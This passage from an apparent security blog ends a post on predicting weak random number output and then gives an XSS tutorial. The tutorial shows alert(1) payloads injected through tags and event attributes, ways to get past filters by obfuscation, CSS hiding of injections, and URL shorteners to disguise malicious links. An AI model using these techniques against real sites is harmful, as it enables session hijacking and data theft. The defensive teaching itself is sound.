If this didn't get you a result, it's possible the alphabet is wrong, this is just best guess on how the developers mapped the random() output to readable characters, it could be reversed, for example
<some collected output> | Prangster.exe r PrngDotNet ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

Some trial an error is likely to be required, especially if you do not have access to the source code, luckily Prangster runs quite quickly in most circumstances allowing you to try multiple alphabets quite quickly. If my explanation of Prangsters usage is hard to follow then I suggest watching them demo a real attack scenario in their Blackhat presentation starting at 32:40.

A final note of respect to the team at Cylance who put this together, this is an impressive tool which can predict randomness in many applications by simply analysing the output of those systems, in this respect it's completely black box analysis. Their white paper goes in to more depth about the optimisations they used to speed up brute force attacks which can be found here.

Mitigation

This section is an update to this post to elaborate on the mitigation for these attacks. The solution is simple and it's mainly through ignorance it's not used more often, there is already a class of RNGs that produce Cryptographically secure random numbers (CSRNGs), Linux comes with dev/random and dev/urandom which get their randomness straight from the Linux kernel. The kernel has access to various devices attached to the system through the device drivers, this allows collection of envionmental noise which becomes the source of random number generation, rather than a static list. In windows the equivalent is CryptGenRandom.

<script>CrossSiteScripting()</script>

Cross Site Scripting

This tutorial will introduce you to Cross Site Scripting or XSS for short.

Introduction to XSS

XSS is a vulnerability in web applications which allows an attacker to inject JavaScript in to a page which then executes inside the browser of another user. It's a very powerful attack since JavaScript can access a lot of information about the clients browser and even modify the DOM (Document Object Model) of the page which can alter the look and behaviour, as well as make requests to the website on behalf of the user and modify responses, because the script can run silently these kind of attacks are deadly for stealing personal information.

One common attack is session hijacking where the value of the users session cookies are stolen and can be sent to an attacker who can use it to bypass log in/security that relies on cookies to identify and authenticate users.

The basics

The anatomy of an XSS attack is for an attacker to supply input to a web service which is then returned to the page for others to see. There's 2 basic methods of doing this, persistent and reflected.

A persistent XSS attack sends a payload to the web application which stores that input in permanent storage server side, typically a database. When other users make requests to the web server the reply includes the payload. For example the comments section for a blog post, users can provide text input plus their XSS payload that is stored in a database and every user who visits that page loads the comment along with any script. This is a broad attack that can target many users at once.

A reflected XSS attack injects script in to the page parameters of a URL, the server responds with the script somewhere in the response, this is a one time targeted attack that only affects the users who follow that specific URL. The attacker then distributes the custom malicious URL to targets either directly by sending it to them or the by publishing the link somewhere on the web and hoping users click on it. A good example of a reflected attack is a search feature on a web application which creates a GET request that includes the user's search term as a page parameter and returns search results plus the payload.

Just like with SQLi attacks, not all sites are vulnerable to XSS, only sites which are badly written and contain vulnerable parameters or inputs can be attacked.

Context matters

Web applications have a page life cycle which all requests go through, during this process user input passes through several different interpreters each have a set of characters that have special meaning in that context. XSS vulnerabilities exist when user input is allowed to pass into the body of HTML while containing characters that have special meaning in this context.

To stop XSS attacks the users input must be HTML encoded before being inserted into a HTML document, this type of encoding takes all special characters and alters them to be a safe equivalent which display correctly when rendered by the browser but cannot modify the mark up. For PHP use htmlspecialchars() documented here and for ASP.NET use htmlencode() document here.

This isn't the whole story however, if user input is inserted directly inside existing JavaScript for example inside a <script> tag, or inside any event or evaluation that runs JavaScript then HTML encoding may not be sufficient.

For more on prevention see OWASP.org XSS prevention cheat sheet.

Finding vulnerabilities

To find XSS vulnerabilities you need to test all user input to the web application and check all the places in the HTML response this input appears, this may require viewing the source code as not all occurrences may be visible or obvious. For example you might submit your name to website profile page which appears as both text on the page but it might also appear as the alt attribute for your profile image tag, this wouldn't be immediately obvious just looking by eye. The best trick is to use test input that's unique and wont appear anywhere else on the page and you can search for it (ctrl+f) in the source code.

There are 3 basic types of user input:

  • Page parameters passed in the URL of a HTTP GET request.
  • Parameters passed in the body of a HTTP POST request.
  • External resources the web server fetches.

URL parameters 

Page parameters are passed in the URL of a HTTP GET request, these are typically used to modify the result of the response you'll get from the server, this type of input is used to create reflected XSS attacks. For testing simply use a browser and enter different input directly into the URL inside of parameters. If there's any characters you need to URL encode you can use this XSS calculator.

Note that Internet Explorer and Chrome both have XSS prevention built into the browser which examines parameters inside the URL and looks for common XSS vectors, they will find most attempts to enter <script> tags and other basic attacks, however more subtle XSS vectors may get through. Because of this it's best to use Firefox for testing exploits first and then adapting or obfuscating the attacks for other browsers as necessary.

Another reason I recommend Firefox for testing is because when you view the source of the document you see the raw source, in both Internet Explorer and Chrome any HTML encoded characters appear as the user friendly variants. So you cannot tell the difference between a raw angle bracket < and the HTML encoded equivalent &lt. This may lead to confusion where apparently correctly HTML is not rendering as you'd expect, in Firefox this is not a problem.

POST parameters

Posts parameters are passed to the server when you submit a form on the page causing a HTTP POST, they are passed back in the body of the page request and as such cannot be used for reflected attacks since you cannot remotely cause post backs.

There may be client side data validation done on a page in JavaScript before it will allow you to submit a form, there are different ways to bypass this, you can modify the JavaScript running in the page manually using developer tools, or you can send your HTTP POST requests through a local proxy which can intercept and modify them in transport.

Some good examples of proxies for penetration testing are Paros for Windows as well as a newer and better maintained fork called ZAP, or if you're running Linux Burp suite is popular. You need to configure and run the proxy, normally configured on the same machine as the browser. Then change your browser settings to send requests through the proxy, in Firefox open the options, switch to the "Advanced" section, select the "Network" tab, and under Connection click the "Settings..." button. Now set "localhost" or "127.0.0.1" as the HTTP proxy and set the port you've configured your proxy to use, most default to 8080. Make sure to tick "Use this proxy server for all protocols" and OK all the windows.

Now you can capture and modify page requests, these are helpful tools not just because you can bypass client side filtering but because you're no longer limited to basic text input, you can modify everything posted back to the server. This increases the number of possible attack vectors significantly, for example if the site allows uploading of files you can upload a normal jpg file in the browser then proxy the request and change the file name/extension as well as include characters that wouldn't normally be part of legal file name. In this example if this file name is inserted into a database and later used on a page somewhere it could potentially be used to create XSS attacks that otherwise aren't possible using just the browser by itself.

External resources

Some web applications make requests for resources on other servers, they may crawl another web page or source of data and then inject this into their own database to be used as part of the content for a page. If the source of the data is something you can control or if you can send the target web server some input that makes it visit resource you're in control of, this becomes another attack vector for XSS.

A real world example I've used during testing abused a flaw in a feature to allow users to share URLs with each other. The behaviour of the target website was to take user input, visit the URL, scrape the page to find the page title and then use this as the display text for the URL. Note that the URL input itself wasn't vulnerable to XSS as the correct characters were filtered out, however the page title scraped from the external resource was vulnerable to XSS.

Keep this in mind when testing, it's not just direct user input to a web application that might be vulnerable, but any kind of source of 3rd party data. A clever variant of this was done recently using XSS inside TXT records in DNS to inject any website displaying Whois information without first HTML encoding the record.

Output

In the real world the type of XSS vector you can use will vary greatly depending on how the output back to the page is handled and where the output is injected in to. The output may be modified in one of several different ways, some common ones are:

  • Removing specific characters that aren't allowed.
  • Removing specific words or strings of characters that aren't allowed.
  • Replacing unsafe characters with the HTML safe equivalents using HTML encoding.
  • Denying the entire string altogether or throwing an error.
  • Inserting other characters to break up words that aren't allowed.
Because the number of different XSS attack vectors is so staggeringly vast most of these techniques allow through at least some types of attack, the safest is HTML encoding but as mentioned previously this may not stop attacks where the output is injected directly inside of existing JavaScript.

You can break down the attacks in to 2 basic types, those which are injected into the body of the document, and those which are inserted into the mark up of the document. All examples given below show existing HTML in green and user input in red.

For user input that is inserted in to the body of the document you need to escape back into mark up in order to inject any kind of JavaScript, this requires using angle brackets < and >. In the example below the output is injected between div tags.

Input
<script>javascript:alert(1);</script>
HTML
<div><script>javascript:alert(1);</script></div>


For user input that is inserted directly into parts of the mark up, for example inside the alt attribute of an image tag, then you only need escape the attribute using quotes ". In the example below I've added an event which triggers when the image has loaded, no angle brackets are required because our injection point is already inside the mark up.

Input
test" onload="alert(1);
HTML
<img src="/images/logo.jpg" alt="test" onload="alert(1);" />

Persistent attack Examples

There are too many different XSS attack vectors to mention them all in detail, for a cheat sheet list of many of the common techniques I highly suggest the OWASP.org cheat sheet. However I will cover a few basic persistent attacks to demonstrate the principles.

Basic injection into image location:

Input
<img src="javascript:alert(1);">

Modern browsers have a much more relaxed parsing engine which can allow for mistakes in HTML to render correctly, as such you can often remove some formatting, these tricks are often browser specific depending on how strict the rendering engine is, this example doesn't require quotes of semicolon:

Input
<img src=javascript:alert(1)>

Here's a slightly more complex fictional example, lets say you can sign up for a website and pick a user name, you're given your own profile page on the website which ends in your profile name.

Profile Name
Frosty
Profile
frostyhacks.blogspot.com/userprofile/Frosty

This could be a good and somewhat obscure attack vector, If the site programmatically creates anchor tags anywhere to link to your profile they might look like this:

HTML
<a href="/userprofile/Frosty">Visit profile</a>

The right user name might result in JavaScript execution, in this case by injecting an event into the attribute. If the mouse is moves over the anchor tag then it will fire the JavaScript.

Input
Frosty" onmouseover="javascript:alert(1);
HTML
<a href="/userprofile/Frosty" onmouseover="javascript:alert(1);" />Visit profile</a>


Reflected attack examples

A very common reflected attack can be found in many search features, a user enters some text to search and clicks search, that creates a GET request to the server for the search results page and inside that request is a page parameter which contains the search term. A fictional example:

URL
http://frostyhacks.blogspot.com/search.php?search=usersearch

This takes the parameter called search, with the value of usersearch, In the results page you'll find HTML that looks something like this:

HTML
<p>Your result for usersearch returned 0 results</p>

You can create a malicious URL like the following

URL
http://frostyhacks.blogspot.com/search.php?search=<script>alert(1)</script>
HTML
<p>Your result for <script>alert(1)</script> returned 0 results</p>

Sending this URL to a target and have them follow it will inject JavaScript into the results page. Only the users following that specifically crafted URL will be effected.

To tidy up long or complex reflected attacks you might want to use URL shortening services like Bitly or TinyURL.

Tidying up

In some cases you might want to escape out of some input but by doing so leave behind invalid HTML which creates rendering errors on the page, there's nothing to stop you from including additional HTML and CSS in your input to correct these. In a previous examples we used the onmouseover() event, however if this has already been defined in the tag we'll have a problem. Consider the following:

Input
Frosty" onmouseover="javascript:alert(1);
HTML
<a onmouseover="changecursor()" href="/userprofile/Frosty" onmouseover="javascript:alert(1);">Visit profile</a>

Because our attribute came second it wont fire, if angle brackets are allowed in the user name we could just escape out of the entire anchor tag.

Input
Frosty"><script>javascript:alert(1)</script>
HTML
<a onmouseover="changecursor()" href="/userprofile/Frosty"><script>javascript:alert(1)</script>">Visit profile</a>


However this will look messy on the page and possibly alert people something is wrong, this is an instance where you might want to tidy up your XSS attack, create matching tags in order to create a 2nd valid anchor tag and then hide it by setting visibility using CSS.

Input
Frosty">Visit Profile</a><script>javascript:alert(1)</script><a style="visibility:hidden;
HTML
<a onmouseover="changecursor()" href="/userprofile/Frosty">Visit Profile</a><script>javascript:alert(1)</script><a style="visibility:hidden;">Visit profile</a

Obfuscation

In many cases beating blacklist filters is simply a matter of obfuscation, for example adding character to break up key words like "javascript" such the tab character or new line characters are good for this:

Input
<img src="jav ascript:alert(1);">

Input
<img src="jav&#x09;ascript:alert(1);">

You can often use different encoding types, in the URL you can supply URL encoded characters, an extremely helpful tool for calculating obfuscations can be found here http://ha.ckers.org/xsscalc.html